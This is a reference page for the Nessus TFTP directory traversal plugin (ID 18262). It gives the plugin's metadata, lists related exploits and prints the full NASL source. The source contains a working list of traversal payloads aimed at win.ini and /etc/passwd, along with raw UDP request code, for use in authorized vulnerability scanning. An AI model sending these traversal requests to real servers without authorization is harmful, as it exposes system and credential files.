TFTP Traversal Arbitrary File Access - Nessus

Medium   Plugin ID: 18262

This page contains detailed information about the TFTP Traversal Arbitrary File Access Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 18262
Name: TFTP Traversal Arbitrary File Access
Filename: tftpd_dir_trav.nasl
Vulnerability Published: 1986-04-19
This Plugin Published: 2005-05-16
Last Modification Time: 2022-04-11
Plugin Version: 1.55
Plugin Type: remote
Plugin Family: Misc.
Dependencies: os_fingerprint.nasl, tftpd_detect.nasl
Required KB Items [?]: Services/udp/tftp

Vulnerability Information


Severity: Medium
Vulnerability Published: 1986-04-19
Patch Published: N/A
CVE [?]: CVE-1999-0183, CVE-1999-0498, CVE-2002-2353, CVE-2009-0271, CVE-2009-0288, CVE-2009-1161
CPE [?]: N/A

Synopsis

The remote TFTP server can be used to read arbitrary files on the remote host.

Description

The TFTP (Trivial File Transfer Protocol) server running on the remote host is vulnerable to a directory traversal attack that allows an attacker to read arbitrary files on the remote host by prepending their names with directory traversal sequences.

Solution

Disable the remote TFTP daemon, run it in a chrooted environment, or filter incoming traffic to this port.

Public Exploits


Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the TFTP Traversal Arbitrary File Access vulnerability:

  1. Metasploit: exploit/windows/tftp/distinct_tftp_traversal
    [Distinct TFTP 3.10 Writable Directory Traversal Execution]
  2. Exploit-DB: exploits/windows/remote/14857.txt
    [EDB-14857: tftp desktop 2.5 - Directory Traversal]
  3. Exploit-DB: exploits/hardware/remote/17507.py
    [EDB-17507: Avaya IP Office Manager TFTP Server 8.1 - Directory Traversal]
  4. Exploit-DB: exploits/windows/remote/18718.txt
    [EDB-18718: Distinct TFTP Server 3.01 - Directory Traversal]
  5. Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-1999-0498
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:N/A:N/E:F/RL:OF/RC:C
CVSS Base Score:5.0 (Medium)
Impact Subscore:2.9
Exploitability Subscore:10.0
CVSS Temporal Score:4.1 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:4.1 (Medium)

Go back to menu.

Plugin Source


This is the tftpd_dir_trav.nasl nessus plugin source code. This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

# This script replaces the old C plugin "tftp_grab_file".
#
# References:
# From:	Luigi Auriemma <[email protected]>
# To:	[email protected], [email protected],
#	[email protected],[email protected],[email protected]
# Date:	Wed, Apr 2, 2008 at 8:42 PM
# Subject: Directory traversal in LANDesk Management Suite 8.80.1.1
#
# From:	Luigi Auriemma <[email protected]>
# To:	[email protected],[email protected],
#	[email protected],[email protected],[email protected],
# Date:	Mon, Mar 31, 2008 at 9:48 PM
# Subject: Directory traversal in 2X ThinClientServer v5.0_sp1-r3497
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(18262);
  script_version("1.55");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id(
    "CVE-1999-0183",
    "CVE-1999-0498",
    "CVE-2002-2353",
    "CVE-2009-0271",
    "CVE-2009-0288",
    "CVE-2009-1161"
  );
  script_bugtraq_id(
    6198,
    11582,
    11584,
    33287,
    33344,
    35040,
    42907,
    48272,
    50441,
    52938
  );
  script_xref(name:"EDB-ID", value:"14857");
  script_xref(name:"EDB-ID", value:"17507");
  script_xref(name:"EDB-ID", value:"18718");

  script_name(english:"TFTP Traversal Arbitrary File Access");

  script_set_attribute(attribute:"synopsis", value:
"The remote TFTP server can be used to read arbitrary files on the
remote host.");
  script_set_attribute(attribute:"description", value:
"The TFTP (Trivial File Transfer Protocol) server running on the remote
host is vulnerable to a directory traversal attack that allows an
attacker to read arbitrary files on the remote host by prepending
their names with directory traversal sequences.");
  script_set_attribute(attribute:"solution", value:
"Disable the remote TFTP daemon, run it in a chrooted environment, or
filter incoming traffic to this port.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-1999-0498");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Distinct TFTP 3.10 Writable Directory Traversal Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"D2ExploitPack");
  script_cwe_id(22, 264);

  script_set_attribute(attribute:"vuln_publication_date", value:"1986/04/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/05/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("tftpd_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("Services/udp/tftp");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("dump.inc");
include("tftp.inc");
include("misc_func.inc");
include("data_protection.inc");

if(islocalhost()) exit(0, "This plugin does not run against the localhost.");	# ?
if ( TARGET_IS_IPV6 ) exit(0, "This plugin does not run over IPv6.");

global_var	nb;
function tftp_grab(port, file)
{
 local_var	req, rep, sport, ip, u, filter, data, i;

 req = '\x00\x01'+file+'\0netascii\0';
 sport = rand() % 64512 + 1024;

 ip = forge_ip_packet(ip_hl : 5, ip_v: 4,  ip_tos:0,
	ip_len:20, ip_off:0, ip_ttl:64, ip_p:IPPROTO_UDP,
	ip_src: compat::this_host());

 u = forge_udp_packet(ip:ip, uh_sport: sport, uh_dport:port, uh_ulen: 8 + strlen(req), data:req);

 filter = 'udp and dst port ' + sport + ' and src host ' + get_host_ip() + ' and udp[8:1]=0x00';

 data = NULL;
 for (i = 0; i < 2; i ++)	# Try twice
 {
  rep = send_packet(u, pcap_active:TRUE, pcap_filter:filter);
  if(rep)
  {
   if (debug_level > 2) dump(ddata: rep, dtitle: 'TFTP (IP)');
   data = get_udp_element(udp: rep, element:"data");
   if (debug_level > 1) dump(ddata: data, dtitle: 'TFTP (UDP)');
   if (data[0] == '\0' && data[1] == '\x03')
   {
     local_var	c;
     c = substr(data, 4);
     # debug_print('Content of ',file, "= ", c, '\n'r);
     set_kb_item(name: 'tftp/'+port+'/filename/'+ nb, value: file);
     set_kb_item(name: 'tftp/'+port+'/filecontent/'+ nb, value: c);
     nb ++;
     return c;
   }
   else
     return NULL;
  }
 }
 return NULL;
}

port = get_kb_item('Services/udp/tftp');
if (! port) port = 69;
nb = 0;

if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");


exploits = make_array();
exploits['windows'] = make_list(
  "win.ini",
  "Windows/win.ini",
  "WINNT/win.ini",
  "/Windows/win.ini",
  "/WINNT/win.ini",
  mult_str(str:"../", nb:10) + "Windows/win.ini",
  mult_str(str:"../", nb:10) + "WINNT/win.ini",
  mult_str(str:".../", nb:10) + "Windows/win.ini",
  mult_str(str:".../", nb:10) + "WINNT/win.ini",
  "x/" + mult_str(str:"../", nb:10) + "Windows/win.ini",
  "x/" + mult_str(str:"../", nb:10) + "WINNT/win.ini",
  "x/Windows/win.ini",
  "x/WINNT/win.ini",
  "C:/Windows/win.ini",
  "C:/WINNT/win.ini",
  "Windows\win.ini",
  "WINNT\win.ini",
  "\Windows\win.ini",
  "\WINNT\win.ini",
  mult_str(str:"..\", nb:10) + "Windows\win.ini",
  mult_str(str:"..\", nb:10) + "WINNT\win.ini",
  mult_str(str:"...\", nb:10) + "Windows\win.ini",
  mult_str(str:"...\", nb:10) + "WINNT\win.ini",
  "x\" + mult_str(str:"..\", nb:10) + "Windows\win.ini",
  "x\" + mult_str(str:"..\", nb:10) + "WINNT\win.ini",
  "x\Windows\win.ini",
  "x\WINNT\win.ini",
  "C:\Windows\win.ini",
  "C:\WINNT\win.ini"
);
exploits['nix'] = make_list(
  "/etc/passwd",
  mult_str(str:"../", nb:10) + "etc/passwd"
);

vulns = make_list();
obtained_contents = "";
obtained_file = "";

os = get_kb_item("Host/OS");

foreach os_type (keys(exploits))
{
  # Run all exploits in paranoid mode
  # otherwise just for the detected OS
  if (!isnull(os) && report_paranoia < 2)
  {
    if ("windows" >< tolower(os) && os_type != "windows") continue;
    if ("windows" >!< tolower(os) && os_type == "windows") continue;
  }

  exploit_list = exploits[os_type];

  foreach file (exploit_list)
  {
    # Try using netascii mode.
    f = tftp_grab(port: port, file: file);
    # If that failed, try octet mode.
    if (isnull(f)) f = tftp_get(port:port, path:file);
    if (f)
    {
      # Check contents
      if (
        ("win.ini" >< file && "; for 16-bit app support" >< f) ||
        ("win.ini" >< file && "[Mail]" >< f) ||
        (f =~ "root:.*:0:[01]:")
      )
      {
        vulns = make_list(vulns, file);
        obtained_file = file;
        if (strlen(f) > 600)
          obtained_contents = substr(f, 0, 600);
        else
          obtained_contents = f;

        if (!thorough_tests) break;
      }
    }
  }
  if (max_index(vulns) && !thorough_tests) break;
}

if (max_index(vulns))
{
  if (report_verbosity > 0)
  {
    vulns = list_uniq(vulns);
    foreach vuln (vulns)
      successful_attempts += '\n  '+vuln;
    obtained_contents = data_protection::redact_etc_passwd(output:obtained_contents);
    report =
      '\n' + 'Nessus was able to access a system file via the TFTP server' +
      '\n' + 'using each of the following requests : ' +
      '\n' +
      successful_attempts +
      '\n';

    if (!get_kb_item("global_settings/enable_plugin_debugging") &&
        !isnull(get_preference("sc_version")))
    {
      report +=
        '\n' + 'Here is the contents of the file Nessus was able to obtain :' +
        '\n' + snip +
        '\n' + obtained_contents +
        '\n' + snip +
        '\n';
      security_warning(port:port, proto:"udp", extra:report);
    }
    else
    {
      # Sanitize file names
      if ("/" >< obtained_file) obtained_file = ereg_replace(pattern:"^.+/([^/]+)$", replace:"\1", string:obtained_file);
      else if ("\" >< obtained_file) obtained_file = ereg_replace(pattern:"^.+\\([^\\]+)$", replace:"\1", string:obtained_file);

      report +=
        '\n' + 'Attached is a copy of the contents' + '\n';

      attachments = make_list();
      attachments[0] = make_array();
      attachments[0]["type"] = "text/plain";
      attachments[0]["name"] = obtained_file;
      attachments[0]["value"] = obtained_contents;

      security_report_with_attachments(
        port  : port,
        proto : "udp",
        level : 2,
        extra : report,
        attachments : attachments
      );
    }
  }
  else security_warning(port:port, proto:"udp");
}
else audit(AUDIT_LISTEN_NOT_VULN, "TFTP server", port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/tftpd_dir_trav.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\tftpd_dir_trav.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/tftpd_dir_trav.nasl

Go back to menu.

How to Run


Here is how to run the TFTP Traversal Arbitrary File Access as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Misc. plugin family.
  6. On the right side table select TFTP Traversal Arbitrary File Access plugin ID 18262.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl tftpd_dir_trav.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a tftpd_dir_trav.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - tftpd_dir_trav.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state tftpd_dir_trav.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CWE | Common Weakness Enumeration:
  • CWE-22 (Weakness) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • CWE-264 (Category) Permissions, Privileges, and Access Controls
See also: Similar and related Nessus plugins:
  • 23736 - AT-TFTP Server Filename Handling Remote Overflow
  • 118088 - Cisco Prime Infrastructure TFTP Arbitrary File Upload and Command Execution Vulnerability (cisco-sa-20181003-pi-tftp)
  • 118145 - Cisco Prime Infrastructure TFTP Arbitrary File Upload and Command Execution Vulnerability (cisco-sa-20181003-pi-tftp)
  • 40875 - dnsmasq < 2.50 Multiple Remote TFTP Vulnerabilities
  • 40858 - FreeBSD : dnsmasq -- TFTP server remote code injection vulnerability (80aa98e0-97b4-11de-b946-0030843d3802)
  • 24747 - Kiwi CatTools < 3.2.9 TFTP Server Traversal Arbitrary File Manipulation
  • 122927 - Windows Deployment Services TFTP Server Remote Code Execution Vulnerability
  • 47137 - SolarWinds TFTP Server < 10.4.0.13 DoS
  • 47138 - SolarWinds TFTP Server < 10.4.0.14 DoS
  • 20012 - TYPSoft FTP Server <= 1.10 Multiple DoS
  • 18142 - Intersoft NetTerm Netftpd USER Command Remote Overflow

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file tftpd_dir_trav.nasl version 1.55. For more plugins, visit the Nessus Plugin Library.

Go back to menu.